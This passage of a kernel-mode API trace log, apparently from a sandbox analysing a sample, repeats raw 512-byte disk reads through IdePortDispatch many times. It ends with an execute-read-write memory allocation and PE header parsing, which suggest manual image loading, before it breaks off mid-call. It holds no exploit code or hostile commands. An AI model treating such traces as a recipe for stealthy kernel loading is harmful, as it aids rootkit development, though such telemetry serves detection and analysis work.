MemoryDescriptorList=0xfffffa800343bd20) [0073.911] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0073.911] IdePortDispatch () returned 0x103 [0073.912] KeWaitForMutexObject () returned 0x0 [0073.912] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800355b210 [0073.912] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800355b210 | out: Irp=0xfffffa800355b210) returned 0xfffffa800343bd20 [0073.912] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0073.912] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0073.912] IdePortDispatch () returned 0x103 [0073.912] KeWaitForMutexObject () returned 0x0 [0073.912] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800355b210 [0073.912] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800355b210 | out: Irp=0xfffffa800355b210) returned 0xfffffa800343bd20 [0073.912] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0073.912] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0073.912] IdePortDispatch () returned 0x103 [0073.912] KeWaitForMutexObject () returned 0x0 [0073.912] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800355b210 [0073.912] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800355b210 | out: Irp=0xfffffa800355b210) returned 0xfffffa800343bd20 [0073.912] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0073.912] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0073.912] IdePortDispatch () returned 0x103 [0073.913] KeWaitForMutexObject () returned 0x0 [0073.913] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800355b210 [0073.913] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800355b210 | out: Irp=0xfffffa800355b210) returned 0xfffffa800343bd20 [0073.913] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0073.913] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0073.913] IdePortDispatch () returned 0x103 [0073.913] KeWaitForMutexObject () returned 0x0 [0073.913] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800355b210 [0073.913] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800355b210 | out: Irp=0xfffffa800355b210) returned 0xfffffa800343bd20 [0073.913] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0073.913] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0073.913] IdePortDispatch () returned 0x103 [0073.913] KeWaitForMutexObject () returned 0x0 [0073.913] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800355b210 [0073.913] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800355b210 | out: Irp=0xfffffa800355b210) returned 0xfffffa800343bd20 [0073.913] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0073.913] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0073.913] IdePortDispatch () returned 0x103 [0073.914] KeWaitForMutexObject () returned 0x0 [0073.914] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800355b210 [0073.914] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800355b210 | out: Irp=0xfffffa800355b210) returned 0xfffffa800343bd20 [0073.914] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0073.914] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0073.914] IdePortDispatch () returned 0x103 [0073.914] KeWaitForMutexObject () returned 0x0 [0073.914] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800355b210 [0073.914] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800355b210 | out: Irp=0xfffffa800355b210) returned 0xfffffa800343bd20 [0073.914] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0073.914] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0073.914] IdePortDispatch () returned 0x103 [0073.914] KeWaitForMutexObject () returned 0x0 [0073.914] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800355b210 [0073.914] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800355b210 | out: Irp=0xfffffa800355b210) returned 0xfffffa800343bd20 [0073.914] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0073.914] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0073.914] IdePortDispatch () returned 0x103 [0073.915] KeWaitForMutexObject () returned 0x0 [0073.915] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800355b210 [0073.915] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800355b210 | out: Irp=0xfffffa800355b210) returned 0xfffffa800343bd20 [0073.915] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0073.915] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0073.915] IdePortDispatch () returned 0x103 [0073.915] KeWaitForMutexObject () returned 0x0 [0073.915] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800355b210 [0073.915] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800355b210 | out: Irp=0xfffffa800355b210) returned 0xfffffa800343bd20 [0073.915] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0073.915] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0073.915] IdePortDispatch () returned 0x103 [0073.916] KeWaitForMutexObject () returned 0x0 [0073.916] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800355b210 [0073.916] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800355b210 | out: Irp=0xfffffa800355b210) returned 0xfffffa800343bd20 [0073.916] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0073.916] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0073.916] IdePortDispatch () returned 0x103 [0073.916] KeWaitForMutexObject () returned 0x0 [0073.916] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800355b210 [0073.916] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800355b210 | out: Irp=0xfffffa800355b210) returned 0xfffffa800343bd20 [0073.916] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0073.916] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0073.916] IdePortDispatch () returned 0x103 [0073.916] KeWaitForMutexObject () returned 0x0 [0073.916] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800355b210 [0073.916] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800355b210 | out: Irp=0xfffffa800355b210) returned 0xfffffa800343bd20 [0073.916] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0073.916] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0073.916] IdePortDispatch () returned 0x103 [0073.917] KeWaitForMutexObject () returned 0x0 [0073.917] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800355b210 [0073.917] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800355b210 | out: Irp=0xfffffa800355b210) returned 0xfffffa800343bd20 [0073.917] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0073.917] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0073.917] IdePortDispatch () returned 0x103 [0073.917] KeWaitForMutexObject () returned 0x0 [0073.917] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800355b210 [0073.917] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800355b210 | out: Irp=0xfffffa800355b210) returned 0xfffffa800343bd20 [0073.917] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0073.917] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0073.917] IdePortDispatch () returned 0x103 [0073.917] KeWaitForMutexObject () returned 0x0 [0073.917] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800355b210 [0073.917] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800355b210 | out: Irp=0xfffffa800355b210) returned 0xfffffa800343bd20 [0073.917] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0073.917] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0073.917] IdePortDispatch () returned 0x103 [0073.917] KeWaitForMutexObject () returned 0x0 [0073.918] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800355b210 [0073.918] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800355b210 | out: Irp=0xfffffa800355b210) returned 0xfffffa800343bd20 [0073.918] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0073.918] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0073.918] IdePortDispatch () returned 0x103 [0073.918] KeWaitForMutexObject () returned 0x0 [0073.918] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800355b210 [0073.918] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800355b210 | out: Irp=0xfffffa800355b210) returned 0xfffffa800343bd20 [0073.918] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0073.918] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0073.918] IdePortDispatch () returned 0x103 [0073.918] KeWaitForMutexObject () returned 0x0 [0073.918] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800355b210 [0073.918] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800355b210 | out: Irp=0xfffffa800355b210) returned 0xfffffa800343bd20 [0073.918] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0073.918] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0073.918] IdePortDispatch () returned 0x103 [0073.918] KeWaitForMutexObject () returned 0x0 [0073.919] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800355b210 [0073.919] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800355b210 | out: Irp=0xfffffa800355b210) returned 0xfffffa800343bd20 [0073.919] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0073.919] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0073.919] IdePortDispatch () returned 0x103 [0073.919] KeWaitForMutexObject () returned 0x0 [0073.919] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800355b210 [0073.919] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800355b210 | out: Irp=0xfffffa800355b210) returned 0xfffffa800343bd20 [0073.919] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0073.919] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0073.919] IdePortDispatch () returned 0x103 [0073.919] KeWaitForMutexObject () returned 0x0 [0073.919] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800355b210 [0073.919] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800355b210 | out: Irp=0xfffffa800355b210) returned 0xfffffa800343bd20 [0073.919] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0073.919] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0073.919] IdePortDispatch () returned 0x103 [0073.919] KeWaitForMutexObject () returned 0x0 [0073.919] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800355b210 [0073.919] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800355b210 | out: Irp=0xfffffa800355b210) returned 0xfffffa800343bd20 [0073.919] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0073.919] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0073.919] IdePortDispatch () returned 0x103 [0073.920] KeWaitForMutexObject () returned 0x0 [0073.920] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800355b210 [0073.920] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800355b210 | out: Irp=0xfffffa800355b210) returned 0xfffffa800343bd20 [0073.920] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0073.920] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0073.920] IdePortDispatch () returned 0x103 [0073.920] KeWaitForMutexObject () returned 0x0 [0073.920] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800355b210 [0073.920] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800355b210 | out: Irp=0xfffffa800355b210) returned 0xfffffa800343bd20 [0073.920] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0073.920] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0073.920] IdePortDispatch () returned 0x103 [0073.920] KeWaitForMutexObject () returned 0x0 [0073.920] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800355b210 [0073.920] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800355b210 | out: Irp=0xfffffa800355b210) returned 0xfffffa800343bd20 [0073.920] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0073.920] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0073.920] IdePortDispatch () returned 0x103 [0073.920] KeWaitForMutexObject () returned 0x0 [0073.921] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800355b210 [0073.921] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800355b210 | out: Irp=0xfffffa800355b210) returned 0xfffffa800343bd20 [0073.921] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0073.921] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0073.921] IdePortDispatch () returned 0x103 [0073.921] KeWaitForMutexObject () returned 0x0 [0073.921] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800355b210 [0073.921] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800355b210 | out: Irp=0xfffffa800355b210) returned 0xfffffa800343bd20 [0073.921] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0073.921] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0073.921] IdePortDispatch () returned 0x103 [0073.921] KeWaitForMutexObject () returned 0x0 [0073.921] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800355b210 [0073.921] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800355b210 | out: Irp=0xfffffa800355b210) returned 0xfffffa800343bd20 [0073.921] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0073.921] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0073.921] IdePortDispatch () returned 0x103 [0073.921] KeWaitForMutexObject () returned 0x0 [0073.922] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800355b210 [0073.922] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800355b210 | out: Irp=0xfffffa800355b210) returned 0xfffffa800343bd20 [0073.922] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0073.922] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0073.922] IdePortDispatch () returned 0x103 [0073.922] KeWaitForMutexObject () returned 0x0 [0073.922] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800355b210 [0073.922] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800355b210 | out: Irp=0xfffffa800355b210) returned 0xfffffa800343bd20 [0073.922] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0073.922] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0073.922] IdePortDispatch () returned 0x103 [0073.922] KeWaitForMutexObject () returned 0x0 [0073.922] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800355b210 [0073.922] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800355b210 | out: Irp=0xfffffa800355b210) returned 0xfffffa800343bd20 [0073.922] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0073.922] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0073.922] IdePortDispatch () returned 0x103 [0073.922] KeWaitForMutexObject () returned 0x0 [0073.922] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800355b210 [0073.922] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800355b210 | out: Irp=0xfffffa800355b210) returned 0xfffffa800343bd20 [0073.923] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0073.923] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0073.923] IdePortDispatch () returned 0x103 [0073.923] KeWaitForMutexObject () returned 0x0 [0073.923] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800355b210 [0073.923] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800355b210 | out: Irp=0xfffffa800355b210) returned 0xfffffa800343bd20 [0073.923] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0073.923] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0073.923] IdePortDispatch () returned 0x103 [0073.923] KeWaitForMutexObject () returned 0x0 [0073.923] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800355b210 [0073.923] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800355b210 | out: Irp=0xfffffa800355b210) returned 0xfffffa800343bd20 [0073.923] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0073.923] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0073.923] IdePortDispatch () returned 0x103 [0073.923] KeWaitForMutexObject () returned 0x0 [0073.923] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800355b210 [0073.923] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800355b210 | out: Irp=0xfffffa800355b210) returned 0xfffffa800343bd20 [0073.923] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0073.923] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0073.923] IdePortDispatch () returned 0x103 [0073.924] KeWaitForMutexObject () returned 0x0 [0073.924] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800355b210 [0073.924] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800355b210 | out: Irp=0xfffffa800355b210) returned 0xfffffa800343bd20 [0073.924] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0073.924] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0073.924] IdePortDispatch () returned 0x103 [0073.924] KeWaitForMutexObject () returned 0x0 [0073.924] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800355b210 [0073.924] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800355b210 | out: Irp=0xfffffa800355b210) returned 0xfffffa800343bd20 [0073.924] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0073.924] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0073.924] IdePortDispatch () returned 0x103 [0073.924] KeWaitForMutexObject () returned 0x0 [0073.924] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800355b210 [0073.924] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800355b210 | out: Irp=0xfffffa800355b210) returned 0xfffffa800343bd20 [0073.924] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0073.924] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0073.924] IdePortDispatch () returned 0x103 [0073.924] KeWaitForMutexObject () returned 0x0 [0073.925] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0073.925] KeLeaveCriticalRegion () [0073.925] IofCompleteRequest (Irp=0xfffffa80021e92b0, PriorityBoost=0) [0073.925] ZwAllocateVirtualMemory (in: ProcessHandle=0xffffffff80000240, BaseAddress=0xfffff88002f8fae0, ZeroBits=0x0, RegionSize=0xfffff88002f8f9f0, AllocationType=0x3000, Protect=0x40 | out: BaseAddress=0xfffff88002f8fae0*=0x10000, RegionSize=0xfffff88002f8f9f0*=0x14000) returned 0x0 [0073.925] RtlImageNtHeader (BaseAddress=0x10000) returned 0x10040 [0073.925] RtlImageDirectoryEntryToData (in: BaseAddress=0x10000, MappedAsImage=1, 